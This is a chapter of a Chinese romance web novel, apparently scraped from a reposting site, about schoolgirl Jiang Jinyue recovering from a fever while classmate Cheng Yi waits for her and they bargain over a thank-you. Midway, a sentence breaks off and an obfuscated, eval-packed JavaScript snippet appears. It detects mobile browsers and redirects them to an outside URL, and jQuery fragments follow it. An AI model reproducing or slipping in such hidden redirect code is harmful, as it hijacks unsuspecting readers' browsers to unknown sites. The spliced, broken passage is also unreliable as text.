也就一句话的功夫,少女又像是被谁给吸走了精气神,灰蒙蒙的耷着眼皮,把那点他好不容易给拱起来的神气给弄散了。
一点都不亮眼了。
他还是更爱看那个扬着下巴尖,时时刻刻在战斗状态,永远充满生命力的白孔雀。
“江浸月。”
程疑皱眉叫她,半晌没人回,定睛一看,才发现这姑娘不知何时昏睡了过去。
她今天好像格外不开心,连睡着的时候都是皱着眉,一副委屈巴巴的模样。
他默了默,把外套搭在她身上,抓着打火机往外走。
江浸月醒来的时候发现已经接近傍晚了,她没看到程疑,但身上还搭着他的外套。
一针下去见效果然快,虽然头还有些痛,但整个人精神已经恢复了不少,她坐在椅子上发了会呆,慢慢让大脑重新启动。
口袋里的手机发出叮叮的响声,她掏出来看到宜姐的未接来电已经好几个了。
应该是到了上班点还没看到她人,不放心。
她快速接通,嗓子干干哑哑的:“抱歉宜姐,发烧在诊所睡过去了。”
电话那端长长舒了口气:“没事就好,联系不上你我吓坏了。哪个诊所,我来接你。”
江浸月报了个地址,看到有个眼熟的医生朝着自己点头微笑,她的脑子里倏地浮上来一些不怎么美好的记忆……
她刚刚,在程疑面前掉眼泪了?
是梦吧?是梦吧?
然而,身上外套逸散出的浅淡薄荷香却在不断提醒着她,现实就是如此尴尬。
感冒误她!!
还好程疑应该……是走了!
江浸月揉了把脸,刚起身,就看到护士笑盈盈地望着她:“小姑娘醒了啊?你男朋友一直在外边等着呢!”
啊?
程疑……还在吗?
江浸月微微怔住,心跳莫名其妙乱了一拍,有些不知所措地否定:“不……不是男朋友。”
她和程疑,大概也许,连朋友都算不上。
如果他不在这儿了,那一切都还能解释为认识的人的善心大发。
但他竟然等到了现在……
平静的心河像是被投进去了一颗石子。
一瞬间,波澜四起,不再受她控制。
她忽然有些茫然。
玻璃门外暮色沉沉,少年咬着根没点的烟,散漫靠在门廊柱上,宽阔的肩身挡住远处一切光景,扛着夕阳落下一条又长又挺拔的影子。
莫名的,她想到了中午他飞车带她离开时的情景。
虽然那时她头脑发昏,但模糊的视野里,少年像是一场暴烈袭来的龙卷风,她被卷入风眼,却意外获得一场平静。
脑子里正胡思乱想着,眼前哒地一声,程疑忽然转身望向了自己。
他背着光,江浸月有些看不清他的表情,但却能清晰地感受到他直白的目光。
无声,却让她觉得有些烫。
这是认识程疑以来头一次,她忽然有些无所适从地想要逃避。
该说点什么呢?
谢谢你?
你怎么还没走?
江浸月纠结了两秒钟,攥着手心里的薄荷糖憋出一句:“……你是没有钥匙吗?”
空气里有一瞬的静默,而后对方似乎被无语笑了。
他摘掉烟,手里的歼20的飞机模型嗡嗡嗡地高速转着,衬得他的声音像是卷着呼啸的冷风刮过来:“江浸月,你是不是缺根筋?”
江浸月:……
她下意识想要驳斥回去,但眼前这个拽到不行的少年,确实帮了他不少。
“谢了。”
她的声音还带着几分病气的哑,微微扬起的下巴是她骨子里不肯低头的倔强。
可那双漂亮丹凤眼里的飘忽和闪烁,又暴露了她此刻别扭的真诚。
程疑定定地瞧着她看了会,向前一步半弯下腰,前刺短发下锐利深邃的眉眼蓦地在她眼前清晰放大。
他身上还沾着点淡淡的烟味儿,和那股薄荷香混合成了一种奇异醇厚的味道,意外的有些好闻。
他挑眉,笑得有些痞气:“陪了你一整个下午,不接受口头感谢。”
看着眼前吊儿郎当的少年,江浸月的心里不合时宜的冒出这样一句评价:在学校的程疑不好搞,出了学校的程疑好像更难搞了。
她本来想着把药费还给他,就两清。
结果这少爷一开口,她就知道这事没完了。
大脑高速运转着,她发现自己对这位大少爷的了解仅限于能力履历和性格,于是试探道:“以后来魔方里都给你员工折扣?”
程疑被她气笑了:“你这诚意,还需要消费门槛?”
江浸月微微蹙眉,被难倒了。
她倒是想给他免单,可是这少爷是可以大手一挥把她一年学费给挥霍出去的消费水平,她暂时还免不起。
注意到他似乎在“欣赏”着她的为难,江浸月微微侧过脸:“那你想要什么?太贵的不行。”
程疑啧了声:“白孔雀变身铁公鸡?”
“又不是什么都不给。”
江浸月指了指自己胳膊上的小针孔:“如你所见,拿命换的工资。”
话落,忽然又觉得,就凭她和程疑的交情,是没法随意说出刚刚那番话的。
心跳慢了一拍,而后有些微微加速,她紧紧盯着程疑的眼睛。
她也说不清自己在紧张什么,可能她感冒还没好彻底,脑子和人都不清醒。
但她确实,有些在意程疑的反应。
只见程疑抱着胳膊,眯眸沉吟片刻:“你在炫耀自己很能干?”
暮光正盛,少年落拓的身姿浸在盛大的金色里,像是在发光。
江浸月愣了一下,想要努力看清他的表情,就又听他吊儿郎当地说:“那么能干,谢礼肯定也不能让人看扁了不是?”
很好。
不愧是程疑。
他跟她一样,都无比清楚怎么能一下子拿捏住对方。
不安的心渐渐平静,她磨了磨牙,脑子里灵光一闪:“听说你喜欢刺激的?”
程疑:?
江浸月:“剧本杀店上了新本子,最快通关记录是我。你刷新记录,谢礼随你挑。若你输了,这局剧本杀就是谢礼。”
看着她由紧绷变到松弛的肩身,程疑垂眸,无声笑了下:“啧,那你收拾好钱包吧。”
江浸月不言,扬着下巴轻哼一声算是应了。
晚风把两个人的气息搅弄在一起,江浸月有些别扭地看了眼时间,心道这人为什么还不走。
难道在等她先走?
就在这时,不远处一群男生从出租车上推推搡搡地走过来。
看到程疑,他们像是找到了主心骨,抢着往外倒苦水:“疑哥,那女人太狠了,直接报警把我们抓了!”
“她阴阳怪气地暗示我们是地痞流氓,警察蜀黍把我们的赛车给没收了!”
“那个凶巴巴的女的居然不是人贩子,是白孔雀他妈!”
“颐指气使这块真是一脉相承!”
“哎我去我去?白孔雀怎么也在?!”
这一刻,风好像跟着停了。
众人都抿住嘴,表情复杂地盯着程疑身后的江浸月。
江浸月从他们叽叽喳喳的对话里快速获取了关键词。
所以,他们那时候是以为她被人贩子拉住了,所以才冲过来帮忙的?
一时间,江浸月竟然有些哭笑不得。
但忽然又觉得,这几个闹闹嚷嚷的男生竟然也不是那么让人讨厌了。
“谢谢你们啊,洪懋洪懿王义梓。”
无论出发点是什么,确实也帮了她。
三个人异口同声:“你你你,居然知道我们的名字?!”
江浸月有些不理解他们的脑回路:“记下名字很难吗?”
江浸月是漂亮的,漂亮到让人移不开眼,但平日里她的冷和傲太过有攻击性,压过了美貌在他们心中的印象。
以至于他们总觉得像白孔雀这样不把他们放在眼里的女孩子,是不会记得谁的名字的。
如今被格物中学的校花学霸点名感谢,三个大大咧咧的男生顿时有些不知所措。
你看看我,我看看你,最后竟红了耳廓。
“是他们把你带到医院的?”程疑嗤笑了声,“怎么谢他们,比谢我更顺溜?”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469333|201391||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
江浸月:?这也要比?
江浸月微笑着深呼吸了一口,心里默念“感恩的心”,把这口气给忍了。
扭捏了一会会儿,看程疑和江浸月之间那种剑拔弩张的气氛没以前那么强了,洪懋挠了挠那头扎眼的红发,插话道:“嗐,客气啥,都是同学!当时疑哥二话没说打头阵,带我们冲上去救你的呢!”
他的双胞胎兄弟洪懿和王义梓跟着狂点头。
由于他的描述过于中二,很快收获了一个脑瓜崩。
洪懋捂着脑门按照惯例先滑跪:“哥,我错了。”
程疑?
二话没说打头阵?
江浸月意味深长地瞥了程疑一眼,被对方淡淡瞪回来:“你以为我跟他们一样没脑子?”
风好像都慢了下来,她轻轻地眨了眨眼:“那你是……为什么啊?”
另外三只跟着附和:“对啊,那你是为什么啊?”
玫瑰色的夕阳被香樟树切割成一块块闪亮的碎宝石,像被藏在摇晃树影间的宝藏,等着人发觉。
风也安静,树也安静。
程疑咔哒一声,将打火机收起来:“你猜猫是怎么死的?”
这三只识相地静了音,巴巴地指望江浸月能挖出来。
然而白孔雀今天好像没有刨根问底的怼回去的精力了,淡淡把刚刚的话题揭过去:“这样吧,改天请你们玩剧本杀,上了反响还可以的新本子。”
对程疑想刀人的眼神视而不见,江浸月弯弯眼睛:“人人有份。”
“好呀好呀!上次没玩爽!这次要爽玩!”
“去去去,就你那胆子?”
“走着瞧吧就!”
三小只激烈地讨论着,独独程疑沉默的有些不合群。
瞥见章柏宜的车停到了路边,江浸月朝他们挥手:“你们有空了就提前了去魔方里找我定时间。”
擦肩而过的时候,程疑俯身在她耳畔道:“我可没答应跟外人一起玩。”
江浸月脚步一顿,深深看了他一眼,挑眉,带着鼻音的声音含着几分不自知的傲娇:“赢了才有的挑。”
放了句挑衅的话,少女快速跳到台阶下。
她身上还穿着他的外套,宽大的外套在她身上晃晃荡荡的,直接盖到大腿间,衬得她整个人有些娇小。
实际上江浸月并不矮,接近一米七的身高,背影纤细,腕线过裆,是舞蹈生都会羡慕的身材。但由于她骨架小人又瘦,被大大的外套一盖,远远看上去就像小小一只。
程疑望着手心,回忆起刚刚抱她的时候,托在怀里像是一团棉花,浑身上下都是软的轻的。
怎么会那么瘦?
“哎,疑哥,你和白孔雀握手言和了?”
洪懋问出了一直好奇的问题。
程疑收起掌心,慢吞吞叼了只烟点上:“没有。”
那姑娘刚刚那架势,摆明了就是只想赶紧把人情还上,然后两不相干。
她的眼里好像除了想办法赚钱,其他什么都容不下。
程疑最讨厌满是铜臭味的女人,就像赶不走的苍蝇,围在他家周围,不择手段又黏腻恶心。
可江浸月的拜金……
洪懋哼了声:“既然没有,那我到时候就狠狠敲她……”
他话还没落,一个脑瓜崩就又飞了下来。
程疑咬着烟,无语笑了:“轮得到你来敲?”
洪懋捂着脑袋呜了声:“疑哥,你最近太暴躁了吧!!”
察觉程疑周身的低气压终于散尽,王义梓也狂点头:“对对,上午越野赛就看出来了,你跟不要命一样沿着山边冲上去……”
“还有前几天的南湖跳伞,我都吓疯了哥!教练疯狂喊着让你开伞!开伞!你迟了五秒才开,我们差点以为你要自杀!!!”
洪懋眨巴着大双眼皮,像个真诚的二傻子:“疑哥,有不开心的和兄弟们说说呗?别拿命开玩笑了。我害怕!”
程疑没说话,静静看了会儿将要烧到指尖的烟。
在清晰地感受到肌肤刺痛感的时候,他蓦地合掌,用手将烟捻灭:“没什么,就是,程震让我回家见他的情人。”
“在我妈祭日那天。”